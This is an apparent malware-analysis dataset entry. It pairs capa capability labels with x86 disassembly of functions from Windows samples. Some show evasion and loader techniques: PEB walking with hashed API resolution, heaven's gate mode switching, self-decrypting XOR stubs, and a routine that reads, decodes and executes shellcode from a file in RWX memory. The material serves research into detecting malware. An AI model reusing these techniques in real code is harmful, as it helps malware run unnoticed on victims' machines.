joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006c670
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1006c6a3
push esi
call fcn.1007a8f0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1006c69c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1006c729
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1006c712
mov eax, dword [esi + 8]
test eax, eax
je 0x1006c6c7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1006c70e
cmp eax, 2
je 0x1006c712
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1006c6ba
cmp eax, 3
je 0x1006c6ed
cmp eax, 1
jne 0x1006c6ba
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1006c6ba
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1006c6ba
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1006c750
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1006c738
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1006c750
add esp, 4
pop esi
ret

Function at 0x1006cfc0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x1006cfe1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x1006cfe1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1006cfe1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess_1]
Function at 0x1006d430
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1006d43b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1006d53e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x10434bc0]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10434bc0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10434bc0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10434bc0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10434bc0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10434bc0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10434bc0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10434bc0]
xor eax, edx
inc ecx
dec edi
jne 0x1006d456
pop edi
test esi, esi
je 0x1006d560
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10434bc0]
xor eax, edx
inc ecx
dec esi
jne 0x1006d542
pop esi
pop ebx
not eax
ret
Function at 0x10088167
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x100881b4
mov al, cl
cmp al, 0x61
jb 0x1008818f
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x100881b4
mov al, cl
cmp al, 0x61
jb 0x100881a7
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x10088180
cmp edx, dword [esp + 0x18]
je 0x100881c4
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x10088179
xor eax, eax
jmp 0x100881c7
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x100881cf
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x100882b6
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x100882bc
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x1008821b
cmp al, 0x61
jb 0x10088213
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x10088206
cmp edx, dword [esp + 0x14]
je 0x1008822b
dec ecx
jne 0x100881fb
xor eax, eax
jmp 0x100882b6
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x100882b6
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x100882b6
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x10088267
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x10088276
jmp 0x1008825e
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.10088167
test eax, eax
je 0x100882b6
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x100882b1
cmp al, 0x61
jb 0x100882a9
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x1008829c
call fcn.100881cf
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x100882d4
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x100882d4
sub edx, ecx
mov ecx, edx
jmp 0x1008822b
xor eax, eax
jmp 0x100882b6
Function at 0x1009991f
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x10461c30]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x1009995a
add dword [esp], 5
retf

Function at 0x1009a3cd
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x10461c30]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x1009a408
add dword [esp], 5
retf

Function at 0x100a373c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x10461c30]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x100a3777
add dword [esp], 5
retf

Function at 0x100a3865
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x10461c30]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x100a38a0
add dword [esp], 5
retf

Function at 0x100a39da
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x10461c30]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x100a3a15
add dword [esp], 5
retf

Function at 0x100a3f0e
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x10461c30]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x100a3f49
add dword [esp], 5
retf

Function at 0x100a6dfc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0xff
push 1
mov ebx, 0x184
call fcn.100b3180
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100a6e41
push ebx
call fcn.100b26cf
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push dword [ebp - 4]
push 0xff
call dword [sym.imp.kernel32.dll_GetTempPathA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x100a6e76
push 0x36
push 0x4010a57
push 6
call fcn.100b26d5
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x100a6e92
push eax
mov ebx, eax
call fcn.100874c2
inc eax
push eax
call fcn.100b26c9
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x100a6e97
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100a6ea8
push ebx
call fcn.100b26cf
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x100b3c80
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.100b29b0
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x100b3cd7
push ebx
push edi
call fcn.100b2ac0
push esi
mov ebx, esi
call fcn.100b29b0
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x100b3cae
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x100b46e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x100b4772
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x100b4764
mov ebp, dword [sym.imp.kernel32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x100b475c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x100b4725
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x100b4780
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
ret

Function at 0x100c7e70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 8
xor ecx, ecx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x18]
mov byte [eax + ebp], al
inc eax
cmp eax, 0x100
jl 0x100c7e7c
mov eax, dword [esp + 0x14]
mov byte [ebp + 0x100], cl
cmp eax, ecx
mov byte [ebp + 0x101], cl
jle 0x100c7f0f
push ebx
push esi
push edi
mov byte [esp + 0x24], cl
xor esi, esi
mov ebx, ebp
mov dword [esp + 0x10], 0x100
mov edi, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
and edi, 0xff
xor eax, eax
xor edx, edx
mov al, byte [edi + ecx]
mov dl, byte [ebx]
add esi, eax
add edx, esi
and edx, 0x800000ff
jns 0x100c7ed9
dec edx
or edx, 0xffffff00
inc edx
mov byte [esp + 0x14], dl
mov esi, dword [esp + 0x14]
and esi, 0xff
lea eax, [esi + ebp]
push eax
push ebx
call fcn.100c7f20
lea eax, [edi + 1]
add esp, 8
cdq
idiv dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc ebx
dec eax
mov dword [esp + 0x10], eax
mov byte [esp + 0x24], dl
jne 0x100c7eae
pop edi
pop esi
pop ebx
pop ebp
add esp, 8
ret
Function at 0x100c7f40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0xc
mov edx, dword [esp + 0x14]
push ebx
push esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
mov al, byte [esi + 0x100]
mov cl, byte [esi + 0x101]
test edx, edx
mov byte [esp + 0x20], al
mov byte [esp + 8], cl
jle 0x100c803d
push ebp
mov ebp, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x28]
and edi, 0xff
and ebp, 0xff
lea eax, [edi + 1]
and eax, 0x800000ff
jns 0x100c7f92
dec eax
or eax, 0xffffff00
inc eax
mov byte [esp + 0x28], al
xor ecx, ecx
mov edi, dword [esp + 0x28]
and edi, 0xff
mov cl, byte [edi + esi]
lea eax, [edi + esi]
add ecx, ebp
mov dword [esp + 0x18], eax
and ecx, 0x800000ff
jns 0x100c7fbe
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ebp, dword [esp + 0x10]
and ebp, 0xff
lea ecx, [esi + ebp]
push ecx
push eax
mov dword [esp + 0x1c], ecx
call fcn.100c7f20
mov eax, dword [esp + 0x1c]
xor edx, edx
xor ecx, ecx
add esp, 8
mov dl, byte [eax]
mov eax, dword [esp + 0x18]
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x100c7fff
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [esp + 0x20]
and edx, 0xff
mov cl, byte [edx + esi]
mov dl, byte [ebx + eax]
xor dl, cl
mov byte [ebx + eax], dl
mov eax, dword [esp + 0x24]
inc ebx
cmp ebx, eax
jl 0x100c7f81
mov dl, byte [esp + 0x28]
mov al, byte [esp + 0x10]
pop edi
mov byte [esi + 0x100], dl
mov byte [esi + 0x101], al
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
mov byte [esi + 0x100], al
mov byte [esi + 0x101], cl
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x100c8f00
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x104754ec]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x100c8f13
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x100c8f54
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x10475594]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x100c8f86
mov bl, byte [esp + ecx + 0x4c]
jmp 0x100c8f8a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x100c8f7b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x100c8fa8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x100c8fac
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x100c8f9d
xor ecx, ecx
mov eax, 0x104754fc
xor ebx, ebx
mov bl, byte [ecx + 0x104755a4]
cmp byte [esp + ebx + 0x14], 0
je 0x100c8fd7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x104755bc]
cmp byte [esp + ebx + 0x14], 0
je 0x100c8fee
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x100c8fbe
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x100c8f47
lea edx, [esp + 0x84]
push edx
call fcn.100c9030
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x100df3cc
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100df404
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.100dd49d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA_1]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.100dd475
jmp 0x100df410
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x100e0ac1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x100e0b03
call fcn.100e6459
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x100e0b03
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x100e0afa
xor eax, eax
jmp 0x100e0b0b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.100e0b11
pop edi
pop esi
pop ebx
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x401c66
pop dword [ebp - 0x14]
mov eax, 0x7c3fb071
sub eax, 0x7bff940b
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xb1faf86e
sub dword [ebp - 0x24], 0x63a8b323
mov dword [ebp - 0x20], 0x324cc204
add dword [ebp - 0x20], 0xffe68a41
mov dword [ebp - 0x1c], 0xa80d2688
sub dword [ebp - 0x1c], 0x5bc0e25a
mov dword [ebp - 0x18], 0xe9bb95c4
add dword [ebp - 0x18], 0x16446a3c
lea eax, [ebp - 0x24]
push eax
mov eax, 0xe090a213
add eax, 0x1faf8e41
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x42d28a37
add dword [ebp - 0x24], 0x319fdf1f
mov dword [ebp - 0x20], 0xdf99824f
add dword [ebp - 0x20], 0x61d2df26
mov dword [ebp - 0x1c], 0xcbbab76d
sub dword [ebp - 0x1c], 0x684b4b01
mov dword [ebp - 0x18], 0x307b92d4
sub dword [ebp - 0x18], 0x307b92d4
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xa28b907e
add eax, 0x5db49fae
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3197e
push 0
call eax
mov ecx, 0x99e7e616
add ecx, 0x66184e5d
xor ebx, ebx
add ebx, eax
mov esi, 0x407000
add esi, dword [ebp - 0x14]
mov edi, 0x8fc31d98
mov edx, dword [esi]
add edx, edi
add dword [ebp - 4], eax
mov dword [ebx], edx
xor dword [ebp - 4], edi
add ebx, 0xe9f3f6d
sub ebx, 0xe9f3f69
add esi, 4
loop 0x401d7e
add eax, 0xeec5ee4d
add eax, 0x113ad652
mov ebx, eax
add eax, 0xddea00e7
add eax, 0x2215ff1e
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x12f255b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x131c040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0xf
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x135797c]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x12f257c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x12f25c2
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x12f259f
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x12f25ea
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x12f2603
dec ebp
or ebp, 0xffffff00
inc ebp
push 0x79
call fcn.012f295a
push eax
call fcn.012f3d09
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x131cad0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x3aa00
jl 0x12f25d9
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.012f6873
add esp, 0x214
ret

Function at 0x12f2839
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x131c040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.quz_pe
lea ecx, [esp + 0x18]
call fcn.012f2a99
push 0xc
call fcn.012f6886
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.012f265b
mov esi, eax
mov ecx, dword [esi + 4]
shl ecx, 2
push ecx
call fcn.012f295a
push eax
call fcn.012f3d09
mov esi, dword [esi + 4]
shl esi, 2
pop ecx
sub esi, 0x40
push esi
call dword [section..rdata]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], esi
push eax
push 0x40
mov edi, 0x4ac
push edi
push 0x13574d0
push 0xffffffffffffffff
call dword [0x1312018]
call dword [0x1312010]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x13574d0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x13574d0], al
inc ecx
cmp ecx, edi
jb 0x12f28c2
push ecx
push ecx
call fcn.012f255b
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x131cad0
push 0x1357658
push esi
push esi
call dword [0x1312014]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [0x1312008]
push esi
call dword [0x131200c]
lea ecx, [esp + 0x14]
call fcn.012f33aa
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.012f6873
mov esp, ebp
pop ebp
ret
Function at 0x12f74b2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x1312078]
test eax, eax
je 0x12f74f1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x12f74f1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x12f74f1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x12f74f1
cmp dword [ecx + 0x74], 0xe
jbe 0x12f74f1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1307330
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.013071a1

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10